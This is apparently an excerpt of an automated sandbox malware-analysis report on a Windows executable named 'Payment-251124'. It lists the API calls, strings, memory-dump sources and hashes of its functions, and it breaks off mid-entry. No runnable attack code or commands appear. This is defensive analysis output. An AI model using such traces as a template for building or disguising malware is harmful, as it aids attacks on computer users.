                                                        • MulDiv.KERNEL32(000009EC,?,00000000), ref: 00EFE1F7
                                                        • MulDiv.KERNEL32(000009EC,?,?), ref: 00EFE209
                                                          • Part of subcall function 00EF9AA3: RaiseException.KERNEL32(-C0000018,00000001,00000000,00000000,00EF9A05,00000000,00000000,?,00EF9DDB), ref: 00EFA53A
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CapsDevice$ExceptionRaiseRelease
                                                        • String ID:
                                                        • API String ID: 603618608-0
                                                        • Opcode ID: 1b66708dc2784a8aab89592c9adcd268ecaa224631735c2b45303095a628b783
                                                        • Instruction ID: 77f871acf1ddeab4d0d238bc869852baf65fa3fc21ca7ca13104012e50ef518e
                                                        • Opcode Fuzzy Hash: 1b66708dc2784a8aab89592c9adcd268ecaa224631735c2b45303095a628b783
                                                        • Instruction Fuzzy Hash: 49018FB9A00618BFEB109BA68C45B5EBFB8EB59751F004066EE04AB391D6709C00CBA0
                                                        Function 00EE7B47 Relevance: 9.0, APIs: 6, Instructions: 45threadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __init_pointers.LIBCMT ref: 00EE7B47
                                                          • Part of subcall function 00EE123A: __initp_misc_winsig.LIBCMT ref: 00EE125E
                                                          • Part of subcall function 00EE123A: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00EE7F51
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00EE7F65
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00EE7F78
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00EE7F8B
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00EE7F9E
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00EE7FB1
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00EE7FC4
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00EE7FD7
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00EE7FEA
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00EE7FFD
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00EE8010
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00EE8023
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00EE8036
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00EE8049
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00EE805C
                                                          • Part of subcall function 00EE123A: GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00EE806F
                                                        • __mtinitlocks.LIBCMT ref: 00EE7B4C
                                                          • Part of subcall function 00EE7E23: InitializeCriticalSectionAndSpinCount.KERNEL32(00F7AC68,00000FA0,?,?,00EE7B51,00EE5E77,00F76C70,00000014), ref: 00EE7E41
                                                        • __mtterm.LIBCMT ref: 00EE7B55
                                                          • Part of subcall function 00EE7BBD: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00EE7B5A,00EE5E77,00F76C70,00000014), ref: 00EE7D3F
                                                          • Part of subcall function 00EE7BBD: _free.LIBCMT ref: 00EE7D46
                                                          • Part of subcall function 00EE7BBD: DeleteCriticalSection.KERNEL32(00F7AC68,?,?,00EE7B5A,00EE5E77,00F76C70,00000014), ref: 00EE7D68
                                                        • __calloc_crt.LIBCMT ref: 00EE7B7A
                                                        • GetCurrentThreadId.KERNEL32 ref: 00EE7BA3
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AddressProc$CriticalSection$Delete$CountCurrentHandleInitializeModuleSpinThread__calloc_crt__init_pointers__initp_misc_winsig__mtinitlocks__mtterm_free
                                                        • String ID:
                                                        • API String ID: 2942034483-0
                                                        • Opcode ID: d8a1a9ec47695400643ab3e7c11dc3f40b9d6cdc427ad5945218a91411341287
                                                        • Instruction ID: 836e7c7185d4e2bc4b2d7e59a5c335591fdba9a9383f8d1d09a7aadbe81a20a1
                                                        • Opcode Fuzzy Hash: d8a1a9ec47695400643ab3e7c11dc3f40b9d6cdc427ad5945218a91411341287
                                                        • Instruction Fuzzy Hash: 08F0903212D7DE19E72877767C06A4B3BD69F02734B2026A9F8E4F91E2FF2188425161
                                                        Function 00EC27EC Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • MapVirtualKeyW.USER32(0000005B,00000000), ref: 00EC281D
                                                        • MapVirtualKeyW.USER32(00000010,00000000), ref: 00EC2825
                                                        • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00EC2830
                                                        • MapVirtualKeyW.USER32(000000A1,00000000), ref: 00EC283B
                                                        • MapVirtualKeyW.USER32(00000011,00000000), ref: 00EC2843
                                                        • MapVirtualKeyW.USER32(00000012,00000000), ref: 00EC284B
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Virtual
                                                        • String ID:
                                                        • API String ID: 4278518827-0
                                                        • Opcode ID: e49b22e6fb6f865a8ed767e9d8fed79c395f728310c80caf05e239cde914b0bb
                                                        • Instruction ID: 980ebff544b672fccc86b31dd47989ff33c2e9309cb39416baa0e144687892b3
                                                        • Opcode Fuzzy Hash: e49b22e6fb6f865a8ed767e9d8fed79c395f728310c80caf05e239cde914b0bb
                                                        • Instruction Fuzzy Hash: 360167B0902B5EBDE3008F6A8C85B52FFA8FF19354F00411BA15C47A42C7F5A864CBE5
                                                        Function 00F09AD5 Relevance: 9.0, APIs: 6, Instructions: 44COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CriticalExchangeInterlockedSection$EnterLeaveObjectSingleTerminateThreadWait
                                                        • String ID:
                                                        • API String ID: 1423608774-0
                                                        • Opcode ID: 55851aeac2898515a78f0c06c15a92cc24ef2c23970707ba06c9ef7a22d4139e
                                                        • Instruction ID: 5d8b3697f9f9f8d73b1cfafb27af17a14e12d34957bbbd59c35651b3f443c038
                                                        • Opcode Fuzzy Hash: 55851aeac2898515a78f0c06c15a92cc24ef2c23970707ba06c9ef7a22d4139e
                                                        • Instruction Fuzzy Hash: C701A436706215ABE7252F58EC58DEB77A9FF99711B040529F903920E1EBF89900FB50
                                                        Function 00F07BF7 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00F07C07
                                                        • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00F07C1D
                                                        • GetWindowThreadProcessId.USER32(?,?), ref: 00F07C2C
                                                        • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00F07C3B
                                                        • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00F07C45
                                                        • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00F07C4C
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                        • String ID:
                                                        • API String ID: 839392675-0
                                                        • Opcode ID: 7631a746e0c8362e1080530258d65389922c92cfc3e222d26525b58bc4622bb9
                                                        • Instruction ID: 3adf63f3b62508a19e8fb3fa7169fa442280bcd8629cd2712a636327b7051212
                                                        • Opcode Fuzzy Hash: 7631a746e0c8362e1080530258d65389922c92cfc3e222d26525b58bc4622bb9
                                                        • Instruction Fuzzy Hash: 68F03A7A64215CBBE7215B529C0EEEF7B7CEFD7B11F000058FE0591091D7A06A81E6B5
                                                        Function 00F09A20 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • InterlockedExchange.KERNEL32(?,?), ref: 00F09A33
                                                        • EnterCriticalSection.KERNEL32(?,?,?,?,00F35DEE,?,?,?,?,?,00ECED63), ref: 00F09A44
                                                        • TerminateThread.KERNEL32(?,000001F6,?,?,?,00F35DEE,?,?,?,?,?,00ECED63), ref: 00F09A51
                                                        • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00F35DEE,?,?,?,?,?,00ECED63), ref: 00F09A5E
                                                          • Part of subcall function 00F093D1: CloseHandle.KERNEL32(?,?,00F09A6B,?,?,?,00F35DEE,?,?,?,?,?,00ECED63), ref: 00F093DB
                                                        • InterlockedExchange.KERNEL32(?,000001F6), ref: 00F09A71
                                                        • LeaveCriticalSection.KERNEL32(?,?,?,?,00F35DEE,?,?,?,?,?,00ECED63), ref: 00F09A78
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                        • String ID:
                                                        • API String ID: 3495660284-0
                                                        • Opcode ID: 7c56a7b10a10044838b03ec00031d78ebc1ceaa0b31724bc2421cf16bc2c1b39
                                                        • Instruction ID: c6652c4b1c17fb6c77aae5b71949e887adbd197b27b9312fff7896092263f958
                                                        • Opcode Fuzzy Hash: 7c56a7b10a10044838b03ec00031d78ebc1ceaa0b31724bc2421cf16bc2c1b39
                                                        • Instruction Fuzzy Hash: 4FF0E23A645209ABE3111FA4EC8CDEB7779FF96301B040021F903910E1DBF89A00FB50
                                                        Function 00EC1CDE Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 250COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDF4EA: std::exception::exception.LIBCMT ref: 00EDF51E
                                                          • Part of subcall function 00EDF4EA: __CxxThrowException@8.LIBCMT ref: 00EDF533
                                                        • __swprintf.LIBCMT ref: 00EC1EA6
                                                        Strings
                                                        • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00EC1D49
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Exception@8Throw__swprintfstd::exception::exception
                                                        • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                        • API String ID: 2125237772-557222456
                                                        • Opcode ID: fab695bc4582616c9b383e142c85b6739008e56a4a8856ab7c79aa564bf9489a
                                                        • Instruction ID: 5663d78b299e8341eedc2fed32ab93a9b78324749fa4fe03980248ad8e2a6188
                                                        • Opcode Fuzzy Hash: fab695bc4582616c9b383e142c85b6739008e56a4a8856ab7c79aa564bf9489a
                                                        • Instruction Fuzzy Hash: DB91DF715043019FC714EF24CA96E6EB7E4BF85710F04591EF945A72A2DB32ED06CB92
                                                        Function 00F1AFE0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 229COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • VariantInit.OLEAUT32(?), ref: 00F1B006
                                                        • CharUpperBuffW.USER32(?,?), ref: 00F1B115
                                                        • VariantClear.OLEAUT32(?), ref: 00F1B298
                                                          • Part of subcall function 00F09DC5: VariantInit.OLEAUT32(00000000), ref: 00F09E05
                                                          • Part of subcall function 00F09DC5: VariantCopy.OLEAUT32(?,?), ref: 00F09E0E
                                                          • Part of subcall function 00F09DC5: VariantClear.OLEAUT32(?), ref: 00F09E1A
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                        • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                        • API String ID: 4237274167-1221869570
                                                        • Opcode ID: 7504acc08a1dcb8b0a1816959da4437979d91a395c14cb022835433808cf870d
                                                        • Instruction ID: b0ce7f4afd46cdc438d94ffc152d4e5d89113343437c04239d2c240fe31f29d4
                                                        • Opcode Fuzzy Hash: 7504acc08a1dcb8b0a1816959da4437979d91a395c14cb022835433808cf870d
                                                        • Instruction Fuzzy Hash: 5C919C31608341DFCB10DF24C584E9ABBE4EF89710F14486EF89A9B362DB31E946DB52
                                                        Function 00F05347 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 180windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDC6F4: _wcscpy.LIBCMT ref: 00EDC717
                                                        • _memset.LIBCMT ref: 00F05438
                                                        • GetMenuItemInfoW.USER32(?), ref: 00F05467
                                                        • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00F05513
                                                        • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00F0553D
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ItemMenu$Info$Default_memset_wcscpy
                                                        • String ID: 0
                                                        • API String ID: 4152858687-4108050209
                                                        • Opcode ID: be46b1a4a8a0dec4d1edfe1bd2404d9da37763c7efa41e872ae5754dea2256a3
                                                        • Instruction ID: 13bac91a865a7a71b7f2c167ef44639ff64a46ff08818733c51946743fd83518
                                                        • Opcode Fuzzy Hash: be46b1a4a8a0dec4d1edfe1bd2404d9da37763c7efa41e872ae5754dea2256a3
                                                        • Instruction Fuzzy Hash: EA512175A047018BD710DA28CC517BBB7E9AB45B28F080A2EF895D31D0DBE0CC45BF52
                                                        Function 00F00213 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00F0027B
                                                        • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00F002B1
                                                        • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00F002C2
                                                        • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00F00344
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ErrorMode$AddressCreateInstanceProc
                                                        • String ID: DllGetClassObject
                                                        • API String ID: 753597075-1075368562
                                                        • Opcode ID: 4271b90073a4922d821b169202556c5110da0573aa1a524b44b3754a8c6c0815
                                                        • Instruction ID: 9ef1589512af029f7f6db86a20020869d95627fc1bc396df433e440416dc05a2
                                                        • Opcode Fuzzy Hash: 4271b90073a4922d821b169202556c5110da0573aa1a524b44b3754a8c6c0815
                                                        • Instruction Fuzzy Hash: B6414D71A00204EFDB06CF54C885B9A7BB9EF45315F1480A9ED09DF286DBB5DA44FBA0
                                                        Function 00F05007 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00F05075
                                                        • GetMenuItemInfoW.USER32 ref: 00F05091
                                                        • DeleteMenu.USER32(00000004,00000007,00000000), ref: 00F050D7
                                                        • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00F81708,00000000), ref: 00F05120
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Menu$Delete$InfoItem_memset
                                                        • String ID: 0
                                                        • API String ID: 1173514356-4108050209
                                                        • Opcode ID: 02ddf6befc144f8e6a1b1d3d1db173e5e257a6c76572ae5dcc6b3be2dfe41dd8
                                                        • Instruction ID: 34d980f2e795afedc18f42212326430440e70c07e8b932d0362396b4bee35491
                                                        • Opcode Fuzzy Hash: 02ddf6befc144f8e6a1b1d3d1db173e5e257a6c76572ae5dcc6b3be2dfe41dd8
                                                        • Instruction Fuzzy Hash: 4C41AC712057019FD7209F24DC81B2BB7E8AF85B24F044A5EF965972D1D7B0A904EF62
                                                        Function 00F20567 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CharLowerBuffW.USER32(?,?,?,?), ref: 00F20587
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: BuffCharLower
                                                        • String ID: cdecl$none$stdcall$winapi
                                                        • API String ID: 2358735015-567219261
                                                        • Opcode ID: c2c0595b906831c1e381da40b06f985eb2687c434dee872265ea7dac13ec1069
                                                        • Instruction ID: 97cee265cbc2f5709b9e30cfa486f520e8377426a732c9f584095b4a85ad41b3
                                                        • Opcode Fuzzy Hash: c2c0595b906831c1e381da40b06f985eb2687c434dee872265ea7dac13ec1069
                                                        • Instruction Fuzzy Hash: 8F319031900216AFCF00EF54DD51AEEB7B4FF55314B10862AE826A77D2DB71A916DB80
                                                        Function 00EFB80A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00EFB88E
                                                        • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00EFB8A1
                                                        • SendMessageW.USER32(?,00000189,?,00000000), ref: 00EFB8D1
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend
                                                        • String ID: ComboBox$ListBox
                                                        • API String ID: 3850602802-1403004172
                                                        • Opcode ID: cb8b9c008567068b1a42d555be432eeaf540e6f6e85d56bc6f5dbb0a80789b07
                                                        • Instruction ID: cd6a7562f0dcf5faeb39748432a7a04c46e0c4613a7d491c8c25a604033c83b4
                                                        • Opcode Fuzzy Hash: cb8b9c008567068b1a42d555be432eeaf540e6f6e85d56bc6f5dbb0a80789b07
                                                        • Instruction Fuzzy Hash: 16210475A00108AFD7089BA4C886DFE77B8DF86354B105129F525B61E1DB754D069620
                                                        Function 00EC51AF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00EC522F
                                                        • _wcscpy.LIBCMT ref: 00EC5283
                                                        • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00EC5293
                                                        • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00F33CB0
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
